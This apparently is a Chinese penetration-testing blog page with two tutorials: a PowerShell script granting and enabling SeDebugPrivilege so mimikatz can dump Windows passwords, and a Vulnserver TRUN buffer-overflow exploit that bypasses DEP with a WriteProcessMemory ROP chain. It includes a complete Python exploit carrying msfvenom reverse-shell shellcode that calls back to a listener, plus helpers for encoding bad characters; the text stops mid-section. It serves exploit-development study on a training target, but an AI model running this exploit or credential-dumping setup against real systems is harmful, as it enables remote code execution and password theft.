0%

提供给需要的朋友做一些参考。

Lab1:https://n0maj1o24.notion.site/Challenge1-160e226d599e4fd9970b01163f7091bf

Lab2:https://n0maj1o24.notion.site/Challenge2-0e5b40ce52c942aea435546ddae92536

Lab3:https://n0maj1o24.notion.site/Challenge3-3e499eb934224a56b43a07cd5b7b70ad

Lab4:https://n0maj1o24.notion.site/Challenge4-7cde5f1dc0844237be4db94728a138fd

Lab5:https://n0maj1o24.notion.site/Challenge5-4c5f6975ed5e4e08b4c6d3deb4518701

Lab6:https://n0maj1o24.notion.site/Challenge6-0cf8a297fda645cbb5aa20c602b5adee

有些技法不一定是最优解,希望参考的朋友举一反三,采用更好的方法,也欢迎留言,交流学习。

最近,在渗透测试抓取密码的时候,出现如下问题:

Sed

一般出现这个问题是因为当前cmd权限不够,这里的cmd已经是管理员权限,所以有点奇怪,现在来进行排查,查看当前用户的信息:

Sed

Sed

Sed

虽然当前用户在管理员组,但是SeDebugPrivilege权限竟然没有设置,这个比较奇怪。原因出在这里,没有Enable SeDebugPrivilege

现在来开启SeDebugPrivilege

Sed

注意,给当前用户加入SeDebugPrivilege权限之后,需要重启机器,然后再进行操作。上图后续几步操作其实在重启之前是无效的。

重启之后,查看用户权限:

Sed

继续来一遍之前的操作:

Sed

可以发现,现在SeDebugPrivilege已经变为Enabled了。

再次运行mimikatz,发现可以抓取密码了。

Sed

SetSeDebugPrivilege.ps1源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
function Main
{
Param (
[parameter(Mandatory=$True)]
[string]$AccountName,
[parameter(Mandatory=$True)]
[string]$Privilege
)
$ErrorActionPreference = "Stop"
$VerbosePreference = "Continue"

#Target account to assign previlage
$IsAdmin = ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]'Administrator')

# Needs Admin privs
if (!$IsAdmin) {
echo "`n[!] Administrator privileges are required!`n"
Return
}

$Whoami = whoami /priv /fo csv |ConvertFrom-Csv
$SeDebugPriv = $whoami -Match "SeDebugPrivilege"

# SeDebugPriv needs to be available
if (!$SeDebugPriv) {
echo "`n[!] SeDebugPrivilege not available, available it!"
Write-Verbose ("Set account privilage({0}) to '{1}'" -f "SeDebugPrivilege", $AccountName)
[LsaWrapper]::SetRight($AccountName, s)
}


echo "`n[?] SeDebugPrivilege is available now!"
foreach ($priv in $whoami) {
if ($priv."Privilege Name" -contains "SeDebugPrivilege") {
$DebugVal = $priv.State
}
}

# Get current proc handle
$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
echo "`n[+] Current process handle: $ProcHandle"

# Open token handle with TOKEN_ADJUST_PRIVILEGES bor TOKEN_QUERY
echo "`n[>] Calling Advapi32::OpenProcessToken"
$hTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::OpenProcessToken($ProcHandle, 0x28, [ref]$hTokenHandle)
echo "[+] Token handle with TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY: $hTokenHandle`n"

# Enable SeDebugPrivilege if needed
if ($DebugVal -eq "Disabled") {
echo "[?] SeDebugPrivilege is disabled, enabling..`n"

# Prepare TokPriv1Luid container
$TokPriv1Luid = New-Object TokPriv1Luid
$TokPriv1Luid.Count = 1
$TokPriv1Luid.Attr = 0x00000002 # SE_PRIVILEGE_ENABLED

# Get SeDebugPrivilege luid
$LuidVal = $Null
echo "[>] Calling Advapi32::LookupPrivilegeValue --> SeDebugPrivilege"
$CallResult = [Advapi32]::LookupPrivilegeValue($null, "SeDebugPrivilege", [ref]$LuidVal)
echo "[+] SeDebugPrivilege LUID value: $LuidVal`n"
$TokPriv1Luid.Luid = $LuidVal

# Enable SeDebugPrivilege for the current process
echo "[>] Calling Advapi32::AdjustTokenPrivileges`n"
$CallResult = [Advapi32]::AdjustTokenPrivileges($hTokenHandle, $False, [ref]$TokPriv1Luid, 0, [IntPtr]::Zero, [IntPtr]::Zero)
if (!$CallResult) {
$LastError = [Kernel32]::GetLastError()
echo "[!] Mmm, something went wrong! GetLastError returned: $LastError`n"
Return
}
}

echo "[?] SeDebugPrivilege is enabled!`n"




}

Add-Type -TypeDefinition @'
using System;
using System.Text;
using System.Security.Principal;
using System.Runtime.InteropServices;
using System.ComponentModel;
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct TokPriv1Luid
{
public int Count;
public long Luid;
public int Attr;
}
public static class Advapi32
{
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenProcessToken(
IntPtr ProcessHandle,
int DesiredAccess,
ref IntPtr TokenHandle);

[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool LookupPrivilegeValue(
string lpSystemName,
string lpName,
ref long lpLuid);

[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool AdjustTokenPrivileges(
IntPtr TokenHandle,
bool DisableAllPrivileges,
ref TokPriv1Luid NewState,
int BufferLength,
IntPtr PreviousState,
IntPtr ReturnLength);

[DllImport("advapi32.dll", SetLastError=true)]
public extern static bool DuplicateToken(
IntPtr ExistingTokenHandle,
int SECURITY_IMPERSONATION_LEVEL,
ref IntPtr DuplicateTokenHandle);

[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool SetThreadToken(
IntPtr Thread,
IntPtr Token);
}
public static class LSAWrapper
{
[DllImport("advapi32.dll", PreserveSig = true)]
private static extern UInt32 LsaOpenPolicy(
ref LSA_UNICODE_STRING SystemName,
ref LSA_OBJECT_ATTRIBUTES ObjectAttributes,
Int32 DesiredAccess,
out IntPtr PolicyHandle
);

[DllImport("advapi32.dll", SetLastError = true, PreserveSig = true)]
private static extern long LsaAddAccountRights(
IntPtr PolicyHandle,
IntPtr AccountSid,
LSA_UNICODE_STRING[] UserRights,
long CountOfRights);

[DllImport("advapi32.dll")]
private static extern long LsaClose(IntPtr objectHandle);

[DllImport("kernel32.dll")]
private static extern int GetLastError();

[DllImport("advapi32.dll")]
private static extern long LsaNtStatusToWinError(long status);

[StructLayout(LayoutKind.Sequential)]
private struct LSA_OBJECT_ATTRIBUTES
{
public int Length;
public IntPtr RootDirectory;
public readonly LSA_UNICODE_STRING ObjectName;
public UInt32 Attributes;
public IntPtr SecurityDescriptor;
public IntPtr SecurityQualityOfService;
}

[StructLayout(LayoutKind.Sequential)]
private struct LSA_UNICODE_STRING
{
public UInt16 Length;
public UInt16 MaximumLength;
public IntPtr Buffer;
}

[Flags]
private enum LSA_AccessPolicy : long
{
POLICY_VIEW_LOCAL_INFORMATION = 0x00000001L,
POLICY_VIEW_AUDIT_INFORMATION = 0x00000002L,
POLICY_GET_PRIVATE_INFORMATION = 0x00000004L,
POLICY_TRUST_ADMIN = 0x00000008L,
POLICY_CREATE_ACCOUNT = 0x00000010L,
POLICY_CREATE_SECRET = 0x00000020L,
POLICY_CREATE_PRIVILEGE = 0x00000040L,
POLICY_SET_DEFAULT_QUOTA_LIMITS = 0x00000080L,
POLICY_SET_AUDIT_REQUIREMENTS = 0x00000100L,
POLICY_AUDIT_LOG_ADMIN = 0x00000200L,
POLICY_SERVER_ADMIN = 0x00000400L,
POLICY_LOOKUP_NAMES = 0x00000800L,
POLICY_NOTIFICATION = 0x00001000L
}

//POLICY_ALL_ACCESS mask <http://msdn.microsoft.com/en-us/library/windows/desktop/ms721916%28v=vs.85%29.aspx>
private const int POLICY_ALL_ACCESS = (int)(
LSA_AccessPolicy.POLICY_AUDIT_LOG_ADMIN |
LSA_AccessPolicy.POLICY_CREATE_ACCOUNT |
LSA_AccessPolicy.POLICY_CREATE_PRIVILEGE |
LSA_AccessPolicy.POLICY_CREATE_SECRET |
LSA_AccessPolicy.POLICY_GET_PRIVATE_INFORMATION |
LSA_AccessPolicy.POLICY_LOOKUP_NAMES |
LSA_AccessPolicy.POLICY_NOTIFICATION |
LSA_AccessPolicy.POLICY_SERVER_ADMIN |
LSA_AccessPolicy.POLICY_SET_AUDIT_REQUIREMENTS |
LSA_AccessPolicy.POLICY_SET_DEFAULT_QUOTA_LIMITS |
LSA_AccessPolicy.POLICY_TRUST_ADMIN |
LSA_AccessPolicy.POLICY_VIEW_AUDIT_INFORMATION |
LSA_AccessPolicy.POLICY_VIEW_LOCAL_INFORMATION
);

public static void SetRight(string accountName, string privilegeName)
{
//Convert assigned privilege to LSA_UNICODE_STRING[] object
var userRights = GetUserRightsObject(privilegeName);

//Get account SID and pin object for P/Invoke
var sid = GetBinarySID(accountName);
var handle = GCHandle.Alloc(sid, GCHandleType.Pinned);

//Open LSA policy
IntPtr policyHandle = OpenPolicyHandle();
try
{
//add the right to the account
long status = LsaAddAccountRights(policyHandle, handle.AddrOfPinnedObject(), userRights, userRights.Length);

var winErrorCode = LsaNtStatusToWinError(status);
if (winErrorCode != 0)
{
throw new Win32Exception((int)winErrorCode, "LsaAddAccountRights failed");
}
}
finally
{
handle.Free();
Marshal.FreeHGlobal(userRights[0].Buffer); //Can use LsaFreeMemory instead?
LsaClose(policyHandle);
}
}

private static LSA_UNICODE_STRING[] GetUserRightsObject(string privilegeName)
{
//initialize userRights objects
return new[]
{
new LSA_UNICODE_STRING
{
Buffer = Marshal.StringToHGlobalUni(privilegeName),
Length = (UInt16)(privilegeName.Length * UnicodeEncoding.CharSize),
MaximumLength = (UInt16)((privilegeName.Length + 1) * UnicodeEncoding.CharSize)
}
};
}

private static byte[] GetBinarySID(string accountName)
{
//Get account SID
NTAccount account;
try
{
account = new NTAccount(accountName);
}
catch(IdentityNotMappedException)
{
throw; //TODO:ErrorHandling
}

//Convert SID to byte[]
var identity = (SecurityIdentifier)account.Translate(typeof(SecurityIdentifier));
var buffer = new byte[identity.BinaryLength];
identity.GetBinaryForm(buffer, 0);
return buffer;
}

private static IntPtr OpenPolicyHandle()
{
//dummy variables
var systemName = new LSA_UNICODE_STRING();
var objectAttributes = new LSA_OBJECT_ATTRIBUTES
{
Length = 0,
RootDirectory = IntPtr.Zero,
Attributes = 0,
SecurityDescriptor = IntPtr.Zero,
SecurityQualityOfService = IntPtr.Zero
};

IntPtr policyHandle;
uint status = LsaOpenPolicy(ref systemName, ref objectAttributes, POLICY_ALL_ACCESS, out policyHandle);

var winErrorCode = LsaNtStatusToWinError(status);
if (winErrorCode != 0)
{
throw new Win32Exception((int)winErrorCode, "LsaOpenPolicy failed");
}
return policyHandle;
}
}
'@

Main

参考:

1.https://blog.csdn.net/singleyellow/article/details/93394557

2.https://www.powershellgallery.com/packages/PoshPrivilege/0.1.1.0/Content/Scripts%5CAdd-Privilege.ps1

3.https://github.com/cloudbase/unattended-setup-scripts/blob/master/ServiceUserManagement.ps1

4.https://gist.github.com/nijave/9174d5af9378a0c4ef1498795f1ead0d

5.https://blog.palantir.com/windows-privilege-abuse-auditing-detection-and-defense-3078a403d74e

6.https://gist.github.com/altrive/9151365

7.https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Conjure-LSASS.ps1

这次,用WriteProcessMemoryBypass DEP,看一下WriteProcessMemory的函数原型:

1
2
3
4
5
6
7
BOOL WriteProcessMemory(
[in] HANDLE hProcess,
[in] LPVOID lpBaseAddress,
[in] LPCVOID lpBuffer,
[in] SIZE_T nSize,
[out] SIZE_T *lpNumberOfBytesWritten
);

hProcess:要修改的进程内存的句柄。句柄必须具有对进程的 PROCESS_VM_WRITEPROCESS_VM_OPERATION 访问权限。

lpBaseAddress:指向要写入数据的指定进程中的基地址的指针。在数据传输发生之前,系统会验证指定大小的基地址和内存中的所有数据都可以进行写访问,如果不可访问,则函数失败。

lpBuffer:指向缓冲区的指针,该缓冲区包含要写入指定进程地址空间的数据。

nSize:要写入指定进程的字节数。

lpNumberOfBytesWritten:指向变量的指针,该变量接收传输到指定进程的字节数。此参数是可选的。如果 lpNumberOfBytesWrittenNULL,则忽略该参数。

根据函数各参数的说明,在Bypass DEP的时候,各参数的设置情况:

hProcess:提供一个伪句柄,指定为特定的常量-1,当WriteProcessMemory API被调用的时候,它会将-1转换为实际进程句柄,也就意味着这个参数我们设置的时候可以忽略。

lpBaseAddress:这个参数我们可以设置为一个绝对地址,其指向我们将要写入模块的代码段,为了不引起程序崩溃,可以指向代码段中未使用的区域。这里有个技巧,因为代码段在编译的时候需要对齐,所以选择在代码段上限的尾部即可,因为这里填充的一定是null字符。

windbg中看一眼:

这里可以使用的是essfunc.dll

BOF

依据PE相关知识,获取代码段地址的步骤:

DOS Header + 0x3c指向PE Header

BOF

PE Header + 0x2c指向代码段:

BOF

来获取essfunc.dll的代码段地址:

BOF

获取的代码段地址为62501000,看一下对应的内存属性:

BOF

定位到代码段某一地址(这里62501c00 ,后续考虑地址不包含00字符,选择62501c10作为lpBaseAddress的值):

BOF

lpBuffer:保存shellcode所在地址,这个地址需要到执行栈溢出之后,才能确定。

nSize:shellcode的大小。几乎所以metasploit产生的shellcode大小都是小于500bytes,所以我们可以指定任意值,这里用-524(0xfffffdf4)代替,然后取反即可。换做ROP Gadget就是先把0xfffffdf4存入某个寄存器,如EAX,然后NEG EAX即可。

lpNumberOfBytesWritten:指向一个可写的DWORD空间,用于保存WriteProcessMemory复制的byte数目。比较简单的方法是将其保存到essfunc.dll的数据段里面,来看一下:

1
0:001> !dh -a essfunc

BOF

确认数据段里面的空间没有被使用:

BOF

段需要对齐,可以查看section alignment的对齐为1000

BOF

前面2000+24的值不为1000的整数倍,所以后续会补00,直到它为1000的整数倍为止。我们在取值的时候+4正好可以落在为了补齐增加的00空间里,不需要刻意到前面去查找。

BOF

接下来,就是在essfunc.dllIAT中找是否存在WriteProcessMemory,利用!dh essfunc.dll -f查看IAT地址和偏移时发现都是空,有点诡异。

BOF

windbg用命令dps essfunc L2000查看,找到一些信息:

BOF

借用之前文章《Sync Breeze 10.0.28 bypass DEP》的方法获取WriteProcessMemory的地址,这里就不过多介绍了,国际友人那个脚本会出问题,还是得手动来:

BOF

根据以上信息,WriteProcessMemory函数的部分参数是可以提前确定的:

1
2
3
4
5
6
7
func  = struct.pack("<L",0x45454545)     # WriteProcessMemory Address
func += struct.pack("<L",0x62501c10) # Shellcode Return Address
func += struct.pack("<L",0xFFFFFFFF) # pseudo Process handle
func += struct.pack("<L",0x62501c10) # Code cave address
func += struct.pack("<L",0x41414141) # dummy lpBuffer (Stack address)
func += struct.pack("<L",0x41414141) # dummy nSize
func += struct.pack("<L",0x62502028) # lpNumberOfBytesWritten

现在需要关注的仅为WriteProcessMemory函数地址,shellcode在栈空间的地址,以及shellcode的大小。

这里在确定shellcode栈空间的时候,主动腾出了一片栈空间,保证ROP Gadget不会超出这块空间,也就确定了shellcode的地址,因为只需要接在这块空间之后即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
rop1  = struct.pack("<L", 0x755912d6)    # PUSH ESP # POP ESI # RETN    
rop1 += struct.pack("<L", 0x755b671f) # MOV EDX,ESI # POP ESI # RETN 0x04
rop1 += struct.pack("<L", 0x41414141) # junk
rop1 += struct.pack("<L", 0x7728bdf4) # MOV EAX,EDX # POP ESI # RETN
rop1 += struct.pack("<L", 0x41414141) # junk
rop1 += struct.pack("<L", 0x41414141) # junk

rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x88888888) # 0x88888888
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x77777878) # 0x77777878
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758fe636) # MOV EAX,EDX # RETN
rop1 += struct.pack("<L", 0x772f4302) # SUB EAX,16 # RETN
rop1 += struct.pack("<L", 0x749f4480) # INC EAX # RETN
rop1 += struct.pack("<L", 0x749f4480) # INC EAX # RETN
rop1 += struct.pack("<L", 0x754e2d6d) # MOV DWORD PTR [EAX],ECX # RETN

完整的利用代码如下:(系统重启无效,因为很多ROP Gadgets源于开启ASLRDLLESSFUNC.DLL中不具备完全的ROP Chain生成要素)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#!/usr/bin/env python3
"""
Vulnserver TRUN exploit (ROP, DEP bypass).

Vulnerable Software: Vulnserver
Version: 1.00
Exploit Author: Andres Roldan
Tested On: Windows 10 20H2
Writeup: https://fluidattacks.com/blog/vulnserver-trun-rop/
"""

import socket
import struct

HOST = '192.168.91.142'
PORT = 9999

# #msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00'
shellcode = b""
shellcode += b"\xbd\x77\x28\x83\xaa\xdb\xd9\xd9\x74\x24\xf4"
shellcode += b"\x58\x31\xc9\xb1\x52\x31\x68\x12\x03\x68\x12"
shellcode += b"\x83\x9f\xd4\x61\x5f\xa3\xcd\xe4\xa0\x5b\x0e"
shellcode += b"\x89\x29\xbe\x3f\x89\x4e\xcb\x10\x39\x04\x99"
shellcode += b"\x9c\xb2\x48\x09\x16\xb6\x44\x3e\x9f\x7d\xb3"
shellcode += b"\x71\x20\x2d\x87\x10\xa2\x2c\xd4\xf2\x9b\xfe"
shellcode += b"\x29\xf3\xdc\xe3\xc0\xa1\xb5\x68\x76\x55\xb1"
shellcode += b"\x25\x4b\xde\x89\xa8\xcb\x03\x59\xca\xfa\x92"
shellcode += b"\xd1\x95\xdc\x15\x35\xae\x54\x0d\x5a\x8b\x2f"
shellcode += b"\xa6\xa8\x67\xae\x6e\xe1\x88\x1d\x4f\xcd\x7a"
shellcode += b"\x5f\x88\xea\x64\x2a\xe0\x08\x18\x2d\x37\x72"
shellcode += b"\xc6\xb8\xa3\xd4\x8d\x1b\x0f\xe4\x42\xfd\xc4"
shellcode += b"\xea\x2f\x89\x82\xee\xae\x5e\xb9\x0b\x3a\x61"
shellcode += b"\x6d\x9a\x78\x46\xa9\xc6\xdb\xe7\xe8\xa2\x8a"
shellcode += b"\x18\xea\x0c\x72\xbd\x61\xa0\x67\xcc\x28\xad"
shellcode += b"\x44\xfd\xd2\x2d\xc3\x76\xa1\x1f\x4c\x2d\x2d"
shellcode += b"\x2c\x05\xeb\xaa\x53\x3c\x4b\x24\xaa\xbf\xac"
shellcode += b"\x6d\x69\xeb\xfc\x05\x58\x94\x96\xd5\x65\x41"
shellcode += b"\x38\x85\xc9\x3a\xf9\x75\xaa\xea\x91\x9f\x25"
shellcode += b"\xd4\x82\xa0\xef\x7d\x28\x5b\x78\x42\x05\x6e"
shellcode += b"\xf1\x2a\x54\x70\x10\xf7\xd1\x96\x78\x17\xb4"
shellcode += b"\x01\x15\x8e\x9d\xd9\x84\x4f\x08\xa4\x87\xc4"
shellcode += b"\xbf\x59\x49\x2d\xb5\x49\x3e\xdd\x80\x33\xe9"
shellcode += b"\xe2\x3e\x5b\x75\x70\xa5\x9b\xf0\x69\x72\xcc"
shellcode += b"\x55\x5f\x8b\x98\x4b\xc6\x25\xbe\x91\x9e\x0e"
shellcode += b"\x7a\x4e\x63\x90\x83\x03\xdf\xb6\x93\xdd\xe0"
shellcode += b"\xf2\xc7\xb1\xb6\xac\xb1\x77\x61\x1f\x6b\x2e"
shellcode += b"\xde\xc9\xfb\xb7\x2c\xca\x7d\xb8\x78\xbc\x61"
shellcode += b"\x09\xd5\xf9\x9e\xa6\xb1\x0d\xe7\xda\x21\xf1"
shellcode += b"\x32\x5f\x41\x10\x96\xaa\xea\x8d\x73\x17\x77"
shellcode += b"\x2e\xae\x54\x8e\xad\x5a\x25\x75\xad\x2f\x20"
shellcode += b"\x31\x69\xdc\x58\x2a\x1c\xe2\xcf\x4b\x35"


func = struct.pack("<L",0x45454545) # WriteProcessMemory Address
func += struct.pack("<L",0x62501c10) # Shellcode Return Address
func += struct.pack("<L",0xFFFFFFFF) # pseudo Process handle
func += struct.pack("<L",0x62501c10) # Code cave address
func += struct.pack("<L",0x41414141) # dummy lpBuffer (Stack address)
func += struct.pack("<L",0x41414141) # dummy nSize
func += struct.pack("<L",0x62502028) # lpNumberOfBytesWritten


eip = struct.pack("<L",0x62501022) # retn essfunc.dll

rop1 = struct.pack("<L", 0x755912d6) # PUSH ESP # POP ESI # RETN
rop1 += struct.pack("<L", 0x755b671f) # MOV EDX,ESI # POP ESI # RETN 0x04
rop1 += struct.pack("<L", 0x41414141) # junk
rop1 += struct.pack("<L", 0x7728bdf4) # MOV EAX,EDX # POP ESI # RETN
rop1 += struct.pack("<L", 0x41414141) # junk
rop1 += struct.pack("<L", 0x41414141) # junk

rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x88888888) # 0x88888888
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x77777878) # 0x77777878
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758fe636) # MOV EAX,EDX # RETN
rop1 += struct.pack("<L", 0x772f4302) # SUB EAX,16 # RETN
rop1 += struct.pack("<L", 0x749f4480) # INC EAX # RETN
rop1 += struct.pack("<L", 0x749f4480) # INC EAX # RETN
rop1 += struct.pack("<L", 0x754e2d6d) # MOV DWORD PTR [EAX],ECX # RETN

rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x772a5a6f) # POP ECX # RETN
rop1 += struct.pack("<L", 0xfffffdf4) # 0xfffffdf4
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758f15ce) # NEG EAX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x754e2d6d) # MOV DWORD PTR [EAX],ECX # RETN

rop1 += struct.pack("<L", 0x772f4302) # SUB EAX,16 # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN
rop1 += struct.pack("<L", 0x74a01e84) # INC EAX # RETN



rop1 += struct.pack("<L", 0x76068122) # XCHG EAX,EDI # RETN
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x62506090) # IAT 62506090 AddAtomA KERNEL32
rop1 += struct.pack("<L", 0x75fd7518) # XCHG EAX,DWORD PTR [ECX] # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x7557771b) # POP EAX # RETN
rop1 += struct.pack("<L", 0xfffd9df0) # 0xfffd9df0
rop1 += struct.pack("<L", 0x758f15ce) # NEG EAX # RETN
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x76068122) # XCHG EAX,EDI # RETN
rop1 += struct.pack("<L", 0x754e2d6d) # MOV DWORD PTR [EAX],ECX # RETN

rop1 += struct.pack("<L", 0x749f2002) # XCHG EAX,ESP # RETN




padding = b"C" * (3000-2006-32-len(rop1)-len(shellcode))

PAYLOAD = (
b'TRUN .' +
b'A' * (2006-len(func)) +
func +
eip +
rop1 +
b"\x90"*128+
shellcode+
padding
)

with socket.create_connection((HOST, PORT)) as fd:
fd.sendall(PAYLOAD)

执行,出现问题了:

BOF

因为msfvenom解码存根希望代码存储在可写的内存里面,但是这里并没有。msfvenom解码器在这里变得无法使用,只能利用其他办法,比如自己写不包含坏字符的shellcode;或者替换坏字符,并在代码复制到代码段之前,恢复这些坏字符,这需要增加一些恢复的ROP Gadgets

自定义shellcode:这里有个需要注意的地方,那就是遇到坏字符的处理,可以将产生坏字符的指令替换成其他指令,改变寄存器的值等,有点类似之前egghunter生成存在00字符时,改变指令的方法。这里利用外国友人的脚本,来生成shellcode

BOF

注意对坏字符的检测,这里检测到坏字符,需要自己定位到相应的指令处,手动修改。多个坏字符用空格间隔开。

BOF

将利用脚本里面的shellcode部分替换成这里生成的shellcode,再次执行,喜闻乐见的反弹shell出现了:

BOF

编码和解码shellcode:这种方法稍微复杂点,需要增加一些解码的ROP Gadget,在构建ROP Chain的时候,随着解码坏字符的ROP Gadget的增加,栈空间会随着增加,如果坏字符比较多,所需要的栈空间会更多。编码和解码部分的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
def mapBadChars(sh):
BADCHARS = b"\x00"
i = 0
badIndex = []
while i < len(sh):
for c in BADCHARS:
if sh[i] == c:
badIndex.append(i)
i=i+1
return badIndex

def encodeShellcode(sh):
BADCHARS = b"\x00"
REPLACECHARS = b"\xff"
encodedShell = sh
for i in range(len(BADCHARS)):
encodedShell = encodedShell.replace(struct.pack("B", BADCHARS[i]), struct.pack("B", REPLACECHARS[i]))
return encodedShell

def decodeShellcode(dllBase, badIndex, shellcode):
BADCHARS = b"\x00"
CHARSTOADD = b"\x01"
restoreRop = b""
for i in range(len(badIndex)):
if i == 0:
offset = badIndex[i]
else:
offset = badIndex[i] - badIndex[i-1]
neg_offset = (-offset) & 0xffffffff
value = 0
for j in range(len(BADCHARS)):
if shellcode[badIndex[i]] == BADCHARS[j]:
value = CHARSTOADD[j]
value = (value) | 0x11111100 # DL
print(hex(value))


restoreRop += struct.pack("<L", (dllBase + 0x7637768e)) # POP ECX # RETN ** [WS2_32.DLL] **
restoreRop += struct.pack("<L", (neg_offset))
restoreRop += struct.pack("<L", (dllBase + 0x758ba9a8)) # SUB EAX,ECX # RETN ** [KERNEL32.DLL] **
restoreRop += struct.pack("<L", (0x7721aed0)) # POP EDX # RETN ** [ntdll.dll] **
restoreRop += struct.pack("<L", (value)) # values in DL
restoreRop += struct.pack("<L", (dllBase + 0x755bc4eb)) # ADD BYTE PTR [EAX],DL # RETN ** [KERNELBASE.dll] **
return restoreRop

这个算法的思路就是把每个坏字符的位置保存到一个列表里面,然后从头到尾进行遍历,到达坏字符的位置之后,进行某种运算,这里用的加法,因为0x00-0xff=0x01。我这里是从shellcode的开始位置往后遍历,有的也用开始位置之前往后遍历,主要是看能不能正确遍历每一个值,具体哪种视情况而定。还有上述value=(value)|0x11111100,这里ROP Gadget使用DL,为了保证其他为不会出现00,所以使用了0x11111111,另外不局限于DL,AL,AH,BL,BH等等都可以,关键在于能够找到符合要求的ROP Gadget

考虑到ROP Gadgets会比较长,这里有个小技巧,用于开辟一块比较大的栈空间存储ROP Gadgets

1
2
3
4
5
6
7
8
9
10
11
12
# Patching dummy lpBuffer
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x88888888) # 0x88888888
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758cc157) # POP ECX # RETN
rop1 += struct.pack("<L", 0x77777988) # 0x77777988
rop1 += struct.pack("<L", 0x75515163) # ADD EAX,ECX # RETN
rop1 += struct.pack("<L", 0x772a9052) # XCHG EAX,ECX # RETN
rop1 += struct.pack("<L", 0x758fe636) # MOV EAX,EDX # RETN
rop1 += struct.pack("<L", 0x772f4302) # SUB EAX,16 # RETN
rop1 += struct.pack("<L", 0x749f4480) # INC EAX # RETN
rop1 += struct.pack("<L", 0x749f4480) # INC EAX # RETN

这里使用0x88888888+0x77777988=0000000100000210(高8位截断,所以为0x210),要多大栈空间,可以大致评估出来,比如先确定有多少坏字符,每个坏字符需要多少bytes ROP Gadgets进行处理,加上处理WriteProcessMemory三个参数的ROP Gadgets,再加上对齐shellcodeROP Gadgets和改变ESP到执行流的ROP Gadgets

BOF

可以看到已经指向了\x90区域。

后续需要注意的就是,解码之前需要让ESP正好指向shellcode开始的部分,我这里的ROP Gadgets如下:

1
2
3
4
# Align EAX with shellcode
